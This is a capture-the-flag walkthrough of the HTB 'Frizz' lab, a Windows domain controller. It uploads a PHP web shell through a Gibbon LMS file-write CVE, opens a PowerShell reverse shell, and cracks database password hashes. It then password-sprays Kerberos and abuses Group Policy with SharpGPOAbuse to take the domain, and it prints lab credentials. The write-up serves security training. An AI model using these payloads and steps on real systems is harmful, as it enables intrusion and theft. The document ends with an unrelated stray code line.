RECON

Port Scan

$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn

PORT      STATE SERVICE      REASON  VERSION
22/tcp    open  ssh          syn-ack OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain       syn-ack Simple DNS Plus
80/tcp    open  http         syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-03-16 08:48:38Z)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
49664/tcp open  msrpc        syn-ack Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack Microsoft Windows RPC
49670/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
52874/tcp open  msrpc        syn-ack Microsoft Windows RPC
52886/tcp open  msrpc        syn-ack Microsoft Windows RPC
52912/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

From the Nmap scan, we can deduce that this Windows machine is an Active Directory (AD) Domain Controller, given the presence of Kerberos (port 88), LDAP (port 3268), and SMB-related services (port 139, 135, 5985).

The Domain Name (frizz.htb) suggests internal domain services are in place, and the web service (Apache 2.4.58 with PHP 8.2.12) at port 80 indicates potential web-based attack vectors. The scan shows "http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/", meaning the web app forces redirection to this subdomain - so add these domains to /etc/hosts with machine IP for CTF scenario.

Additionally, seeing port 22 (SSH) open on a Windows machine is quite an unusual setup. By default, Windows does not include OpenSSH, but administrators can install it manually using third-party SSH server like Cygwin.

Port 80

Gibbon LMS

The web application serves an educational purpose, a fact that becomes immediately apparent upon knowing the machine’s name:

The Stuff Login button redirects to http://frizzdc.frizz.htb/Gibbon-LMS/. Gibbon LMS is an open-source Learning Management System (LMS) designed for schools and educational institutions. It provides features like student management, course scheduling, lesson planning, and assessment tools:

The application runs on v25.0.00, an outdated release compared to the more recent v29, hinting at the potential presence of publicly known vulnerabilities (CVEs).

Navigating through various user input fields, we scrutinize the request URLs, which unveil directory structures and parameters within /Gibbon-LMS. A notable example:

http://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=passwordReset.php&return=error0

By referencing its open-source GitHub repository (GibbonEdu/core), we can enumerate additional PHP endpoints. A direct request to http://frizzdc.frizz.htb/Gibbon-LMS/publicRegistration.php exposes an error message:

This leak confirms the server operates on Windows, running XAMPP, with its web root set to: C:\xampp\htdocs\Gibbon-LMS\. Further probing suggests a Local File Inclusion (LFI) vulnerability, potentially enabling unauthorized file retrieval:

WEB

CVE-2023-45878 | Arbitrary File Write

PoC

Since the running Gibbon LMS v25 is outdated, we can search for open CVEs on the Internet. CVE-2023-45878 reveals that Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.php (source code) does not require authentication.

We can verify it on our target web application:

The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and then written to the defined file path - this will eventually lead to unauthenticated RCE if we manage to write a web shell to the target.

We can take a look at rubrics_visualise_saveAjax.php line 22:

PHP
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');

img is expected to contain Base64-encoded image data, while path defines the destination file path. However, no validation or sanitization is applied to path, allowing arbitrary file uploads, when gibbonPersonID is not empty.

Then, the uploaded file will be decoded as illustrated at line 32:

PHP
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img)      = explode(',', $img);
$img = base64_decode($img);

The Base64-decoded content is subsequently written directly to a file as revealed at line 49:

PHP
// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);

Since $absolutePath is controlled via the session and path is user-controlled, this is easily exploitable.

Exploit

To establish initial foothold, we craft a Base64-encoded PHP webshell and leverage the vulnerable rubrics_visualise_saveAjax.php endpoint to upload it:

Bash
curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
     --data-urlencode "img=image/png;axura,$(echo -n '<?php system($_REQUEST["x"]); ?>' | base64 -w 0)" \
     --data-urlencode "path=shell.php" \
     --data-urlencode "gibbonPersonID=0000001337"

After uploading, to confirm execution, we trigger a whoami command:

Bash
curl "http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?x=whoami"

The response reveals we are operating under frizz\w.webservice, a domain account on the Windows server. To escalate further, we deploy a PowerShell reverse shell, but must act fast—there’s an automated cleanup process that removes the webshell within a few minutes:

$ export rsh=$(echo "powershell -e JAB...KQA=" | jq -sRr @uri)

$ rlwrap -lnvp 4444

$ curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
     --data-urlencode "img=image/png;axura,$(echo -n '<?php system($_REQUEST["x"]); ?>' | base64 -w 0)" \
     --data-urlencode "path=shell.php" \
     --data-urlencode "gibbonPersonID=0000001337"
 
$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?x=${rsh}" 

Now, we have an interactive reverse shell as frizz\w.webservice:

USER

MySQL

After compromising a Web account, the first thing we need to do is always enumerating the configuration files config.php under web root directory:

PHP
<?php
[...]
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;

This includes MySQL credentials MrGibbonsDB / MisterGibbs!Parrot!?1 for Gibbon LMS. We can verify if MySQL service running on port 3306:

PS C:\xampp\htdocs\Gibbon-LMS> netstat -ano

Active Connections

Proto  Local Address          Foreign Address        State           PID
TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       1072
TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       1724
TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948
TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       948
TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       648
TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       3796
TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       1904
[...]

Since we identified XAMPP running on the target machine, where by default the MySQL client binary is located at:

C:\xampp\mysql\bin\mysql.exe

We can try to connect to the MySQL database using the credentials we discovered:

PowerShell
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB -"pMisterGibbs!Parrot!?1" 

This setup does not grant us an interactive MySQL shell due to our restricted reverse shell environment. Instead, we leverage mysql.exe with the -Bse flag to execute queries in Batch mode (B), Silent mode (s), and Execute mode (e). This strips unnecessary output and enables streamlined data extraction:

PowerShell
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "SHOW DATABASES;"

With database access confirmed, we enumerate further:

PowerShell
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "USE gibbon; SHOW TABLES; SELECT * FROM gibbonPerson;"

We leak user records from table gibbonPerson:

Gibbon Hash

The extracted data:

FieldValueDescription
0000000001Ms.User ID and title
Frizzle FionaFiona FrizzleFull Name
f.frizzleUsername
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03Hashed Password
/aACFhikmNopqrRTVz2489Password Salt
FullRole/Permissions
[email protected]Email address
::1Last login from localhost (::1)

"Gibbon uses SHA1 with a salt for all new passwords" according to its official forum. But apparently we have something other than SHA1:

$ hashcat --identify '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03'
The following 8 hash-modes match the structure of your input hash:

# | Name                                                 | Category
======+============================================================+=========================
1400 | SHA2-256                                          | Raw Hash
17400 | SHA3-256                                         | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94                                   | Raw Hash
17800 | Keccak-256                                       | Raw Hash
1470 | sha256(utf16le($pass))                            | Raw Hash
20800 | sha256(md5($pass))                               | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass))                        | Raw Hash salted and/or iterated

The hash has 64 characters as SHA-256 (Not SHA1, which is 40 chars). We can look into the Gibbon LMS source code again for the UserGateway.php at line 87:

PHP
    public function selectLoginDetailsByUsername($username)
    {
        $data = ['username' => $username];
        $sql = "SELECT 
                    [...]
                    gibbonPerson.passwordStrong,
                    gibbonPerson.passwordStrongSalt,
                    [...]
                FROM gibbonPerson 
                LEFT JOIN gibbonRole ON (gibbonPerson.gibbonRoleIDPrimary=gibbonRole.gibbonRoleID) 
                WHERE (
                    (username=:username OR (LOCATE('@', :username)>0 AND email=:username)) 
                    AND status='Full' 
                )";

        return $this->db()->select($sql, $data);
    }

We see that passwordStrongcontains the hashed password, and passwordStrongSalt contains the salt value used for hashing, which matches our finding from the database. Then we can look for a function that hashes passwords (e.g., hashPassword(), verifyPassword(), or checkPassword()). For example, searching in Github repo for preferencesPasswordProcess.php at line 76:

PHP
if (hash('sha256', $user['passwordStrongSalt'].$password) != $user['passwordStrong']) {

And during password updates at line 81:

PHP
$salt = getSalt();
$passwordStrong = hash('sha256', $salt.$passwordNew);

These codes reveal that the password hashing method used - SHA-256 with a salt. The stored password is:

PHP
SHA256(salt + password)

Now that we know the format, we can crack it using Hashcat.

Save the found password hash and salt in hash.txt:

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

Crack it with mode 1420:

Bash
hashcat -m 1420 -a 0 hash.txt rockyou.txt --force

Then we have a password string for user [email protected]:

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489

Remote Access

Winrm

Verify the credentials f.frizzle / Jenni_Luvs_Magic23 using Netexec:

Bash
nxc winrm $target_ip -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -d frizz.htb

The error message:

"Unpacked data doesn't match constant value 'NTLMSSP\x00'"

suggests that the target either does not support NTLM authentication over WinRM or that the NTLM challenge response is failing due to incorrect domain settings.

Therefore, neither it works over SMB nor LDAP, by returning STATUS_NOT_SUPPORTED:

We have introduced a same condition and solution in the Vintage writeup. The server requires Kerberos Authentication, which is a modern and usual secure setup. Therefore, we need to ensure Kerberos configuration file (krb5.conf) is set up correctly, which is designed to ensure that authentication works within an Active Directory (AD) environment where Kerberos is the primary authentication protocol. Edit /etc.krb5.conf on our attack machine:

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_kdc = true
    rdns = false

[realms]
    FRIZZ.HTB = {
        kdc = frizz.htb
        admin_server = frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Restart the Kerberos service after editing:

Bash
sudo systemctl restart krb5-kdc

Authenticate with the password to require a Kerberos ticket:

$ kinit [email protected]
Password for [email protected]:

# Jenni_Luvs_Magic23

$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]

Valid starting       Expires              Service principal
03/16/2025 07:09:22  03/16/2025 17:09:22  krbtgt/[email protected]
renew until 03/17/2025 07:07:25

Now we can use Evil-winrm to try logging on with the generated TGT by specifying FQDN (aka frizzdc.frizz.htb) and Kerberos realm (FRIZZ.HTB):

Bash
evil-winrm -i frizzdc.frizz.htb -r frizz.htb

The Target must be an FQDN for the Domain Controller, which is required for Kerberos authentication. Because AD issues service tickets to FQDNs, not just domain names. Kerberos needs to match the hostname to a Service Principal Name (SPN). Thus, frizz.htb is a domain but not the actual host running WinRM, Kerberos will reject the request.

After successfully logon, we can retrieve the user flag here:

SSH

When testing Evil-winrm with the credentials and Kerberos ticket, we ran into an error:

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: UnspecifiedGSS failure.  Minor code may provide more information

This indicates a Kerberos (GSSAPI) authentication failure. For GSSAPI:

  • GSSAPI (Generic Security Services Application Program Interface) is a security framework used for Kerberos authentication.
  • Evil-WinRM, SSH, and SMB all use GSSAPI for Kerberos authentication.

Since we noticed SSH service is open at port 22 for the Windows server, we can try with the generated TGT for SSH remote access:

Bash
ssh -o PreferredAuthentications=gssapi-with-mic \
	-o GSSAPIAuthentication=yes \
	[email protected]

It works as an alternative:

ROOT

Enum

As the W.webservice user, we can dump the whole database:

PowerShell
mkdir c:\temp
C:\xampp\mysql\bin\mysqldump.exe -h localhost -u MrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon > C:\temp\gibbon.sql

We discover some interesting conversations from gibbonmessanger table:

"Thank you to all that helped us evaluate the desktop management tool, WAPT. We will compare these results to current methods before making recommendations to the school board."

"the recent cyberattacks by students were linked to the legacy bus mileage submission application. this has been shut down and deleted. until further notice, please submit using pen and paper."

"!!!list of banned passwords!!! followup to the recent student hacking activity, the following passwords are now banned: love, sex, god, 12345, password, letmein, guest, god, trustno1, qwerty, rosebud, love, starwars, admin, letmein123, 123456, password1, bond007, batman, spock, chewie, iloveyou, superman, dragon, open sesame, matrix, swordfish, rosebud, godzilla, iloveyou2, welcome, money, 1234, abcd1234, asdfgh, princess, snoopy, cookie, hello, admin123, football, iloveyou3, password123, baseball, buster, michael, ncc1701, letmeinpls, banana, whiskey, pepper, computer, swordfish1."

The legacy bus mileage submission application was linked to student cyberattacks. The system has been shut down and deleted, which hints that we could look for remnants of it.

For a quick takedown of the target victim, we can use whatever C2 preferred to manage our sessions:

Run some auto enumeration jobs:

We found some remnants in the recycle bin, as implied from the messenger, and download them for later exploration:

Without using the overkilled C2, we can also download them using COM Objects (Shell.Application) to interact with the Recycle Bin, as the $Recycle.Bin directory is a protected system folder and behaves differently from normal directories:

PowerShell
# Create a COM Object to interact with Windows Shell
$sh = New-Object -ComObject Shell.Application

# Access the Recycle Bin (0xA is the special folder ID for Recycle Bin)
$rb = $sh.Namespace(0xA)

# List all items in the Recycle Bin (Shows Name & Path)
$rb.items() | Select-Object Name, Path

# Copy for download
cp "C:\`$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\`$RE2XMEG.7z" ".\wapt-backup-sunday.7z"

We can use SharpHound to collect domain information for BloodHound:

Nothing interesting though from the current owned user, except we know v.frizzle is Domain Admin and belongs to CLASS_FRIZZ group:

No AV detected, so we can freely run WinPEAS to further collect information:

# Valuable users
Computer Name           :   FRIZZDC
User Name               :   f.frizzle
User Id                 :   1103
Is Enabled              :   True
User Type               :   User
Comment                 :   Wizard in Training
Last Logon              :   3/16/2025 9:04:20 AM
Logons Count            :   1894
Password Last Set       :   10/29/2024 7:27:03 AM

Computer Name           :   FRIZZDC
User Name               :   v.frizzle
User Id                 :   1115
Is Enabled              :   True
User Type               :   Administrator
Comment                 :   The Wizard
Last Logon              :   3/16/2025 9:04:20 AM
Logons Count            :   1056
Password Last Set       :   10/29/2024 7:27:04 AM

Computer Name           :   FRIZZDC
User Name               :   w.Webservice
User Id                 :   1120
Is Enabled              :   True
User Type               :   User
Comment                 :   Service for the website
Last Logon              :   3/16/2025 1:35:54 AM
Logons Count            :   70
Password Last Set       :   10/29/2024 7:27:04 AM

Computer Name           :   FRIZZDC
User Name               :   M.SchoolBus
User Id                 :   1106
Is Enabled              :   True
User Type               :   User
Comment                 :   Desktop Administrator
Last Logon              :   2/25/2025 2:02:08 PM
Logons Count            :   852
Password Last Set       :   10/29/2024 7:27:03 AM

Except for v.frizzle who is Administrator, user M.SchoolBus turns out to be a "Desktop Administrator".

Password Spray | WAPT

Take a look into the downloaded 7z files:

$ 7z x wapt-backup-sunday.7z

$ tree wapt -L1
wapt
├── auth_module_ad.py
├── cache
├── common.py
├── conf
├── conf.d
├── COPYING.txt
├── db
├── DLLs
├── keyfinder.py
├── keys
├── languages
├── lib
├── licencing.py
├── log
├── private
├── __pycache__
├── revision.txt
├── Scripts
├── setupdevhelpers.py
├── setuphelpers_linux.py
├── setuphelpers_macos.py
├── setuphelpers.py
├── setuphelpers_unix.py
├── setuphelpers_windows.py
├── ssl
├── templates
├── trusted_external_certs
├── unins000.msg
├── version-full
├── waptbinaries.sha256
├── waptconsole.exe.manifest
├── waptcrypto.py
├── wapt-enterprise.ico
├── wapt-get.exe.manifest
├── wapt-get.ini
├── wapt-get.ini.tmpl
├── wapt-get.py
├── waptguihelper.pyd
├── waptlicences.pyd
├── waptpackage.py
├── wapt.psproj
├── wapt-scanpackages.py
├── wapt-signpackages.py
├── wapttftpserver
├── waptutils.py
└── waptwua

17 directories, 30 files

WAPT (Windows Apt) is an open-source software deployment and configuration management tool designed for Windows systems. It is often compared to SCCM (Microsoft System Center Configuration Manager) but is more lightweight and Python-based.

The extracted WAPT backup archive (wapt-backup-sunday.7z) contains configuration files (*.ini), that we can take a look at them:

$ cat $(find wapt/ -type f -name "*.ini")
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

[global]
use_hostpackages=1
use_kerberos=0
[settings]
; domain=<domain>
; machine=<machine>
; user=<user>
; password=<password>

$ echo -n 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R

We discover a new password string !suBcig@MehTed!R. Password Spray on it with privileged users we found earlier (there're quite some users on the system, but most of them are identified as role student which we don't need at this stage):

Run kerbrute:

Bash
kerbrute passwordspray -d 'frizz.htb' --dc 'frizzdc.frizz.htb'  users.txt '!suBcig@MehTed!R' -v

At this stage, we've already confirmed a valid set of credentials as an oracle test, but our Kerberos authentication is failing due to a KRB_AP_ERR_SKEW error—Clock skew too great. This indicates a time desynchronization between our attacking machine and the target's Kerberos Key Distribution Center (KDC).

We have introduced how to fix this in the Certified writeup using faketime. Here I adjust the time frame using ntpdate with a different format, since we are on a new attack machine (Arch Linux):

Bash
faketime "$(ntpdate -q $target_ip | grep -oP '\d{2} \w{3} \d{2}:\d{2}:\d{2}' | awk '{printf "2025-%02d-%02d %s\n", (index("JanFebMarAprMayJunJulAugSepOctNovDec",$2)+2)/3, $1, $3}')" \
kerbrute passwordspray -d 'frizz.htb' --dc 'frizzdc.frizz.htb'  users.txt '!suBcig@MehTed!R' -v

Request a Kerberos ticket as user M.SchoolBus:

$ kinit [email protected]
Password for [email protected]:

# !suBcig@MehTed!R

$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]

Valid starting       Expires              Service principal
03/16/2025 11:58:05  03/16/2025 21:58:05  krbtgt/[email protected]
        renew until 03/17/2025 11:57:53

Now we can login via Winrm or SSH like before:

Bash
evil-winrm -i frizzdc.frizz.htb -r frizz.htb

or

Bash
ssh -o PreferredAuthentications=gssapi-with-mic \
	-o GSSAPIAuthentication=yes \
	[email protected]

Both work fine:

GPO Abuse

Desktop Administrator

As we knew M.SchoolBus user is the "Desktop Administrator", we can take a look on its privilege:

PS C:\Users\M.SchoolBus\Documents> whoami /groups


GROUP INFORMATION
-----------------

Group Name                                   Type             SID                                            Attributes
============================================ ================ ============================================== ===============================================================
Everyone                                     Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users              Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access   Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                         Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users             Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins                         Group            S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners            Group            S-1-5-21-2386970044-1145388522-2932701813-520  Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity   Well-known group S-1-18-1                                       Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias            S-1-5-21-2386970044-1145388522-2932701813-572  Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level       Label            S-1-16-8192

(But he's not Administrator:)

PS C:\Users\M.SchoolBus\Documents> net localgroup Administrators

Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
v.frizzle
The command completed successfully.

Though we can notice that he belongs to frizz\Group Policy Creator Owners, which implies GPO Abuse:

PS C:\Users\M.SchoolBus\Documents> Get-GPO -All

DisplayName      : Default Domain Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 2, SysVol Version: 2
WmiFilter        :

DisplayName      : Default Domain Controllers Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 1, SysVol Version: 1
WmiFilter        :

Remember we found a path to the Domain Admin v.frizzle via BloodHound:

DA v.frizzle belongs to group CLASS_FRIZZ, which can be abused by us as Group Policy Creator Owners. And we can link the GPOs to the Domain Controller:

Group Policy Creator Owners

The information above should be enough for further exploit. But we can always run BloodHound again after compromising a privileged user, M.SchoolBus. We discover that this is an account for managing students in the domain:

However, we don't care about student accounts. M.SchoolBus is also member of group Group Policy Creator Owners. According to the Microsoft documentation, this group is authorized to create, edit, and delete Group Policy Objects in the domain. By default, the only member of the group is Administrator.

Since we can manipulate GPOs as this superuser role, we can manage to compromise the domain in different ways:

CLASS_FRIZZ group could be designed to manage "Class" including students and teachers, which does not implement security measures such as separating the super-user (DA) account v.frizzle with others:

Now as Group Policy Creator Owners, we can either edit an existed group or add malicious group to manipulate group policies.

SharpGPOAbuse

As a straight forward exploit, we can first easily create a group policy by ourselves as the superuser role Group Policy Creator Onwers:

PowerShell
# Create a new malicious GPO:
$gpo = New-GPO -Name "EvilPolicy"

# Link the GPO to the Domain Controllers OU
New-GPLink -Name "EvilPolicy" -Target "OU=Domain Controllers,DC=frizz,DC=htb"

# Link the GPO to the OU CLASS_FRIZZ
New-GPLink -Name "EvilPolicy" -Target "OU=CLASS_FRIZZ,DC=frizz,DC=htb"

As a result, we can see now:

PS C:\Users\M.SchoolBus\Documents> Get-GPO -All

[...]

DisplayName      : EvilPolicy
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : 74077ff1-da53-4ab2-b1d9-23d53ebb43b7
GpoStatus        : AllSettingsEnabled
Description      :
CreationTime     : 3/16/2025 12:18:57 PM
ModificationTime : 3/16/2025 12:18:56 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

$ PS C:\users\m.schoolbus\documents> Get-GPInheritance -Target "OU=CLASS_FRIZZ,DC=frizz,DC=htb"
Name                  : class_frizz
ContainerType         : OU
Path                  : ou=class_frizz,dc=frizz,dc=htb
GpoInheritanceBlocked : No
GpoLinks              : {EvilPolicy}
InheritedGpoLinks     : {EvilPolicy, Default Domain Policy}

$ PS C:\users\m.schoolbus\documents> (Get-GPO -Name "EvilPolicy").GpoStatus
AllSettingsEnabled

Then we are ready to add any users to the localAdmin group using SharpGPOAbuse:sers to the localAdmin group:

PowerShell
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "M.SchoolBus" --GPOName "EvilPolicy"

# Update group policy
gpupdate /force

# Verify
net localgroup Administrators

Start a new session, and Rooted:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)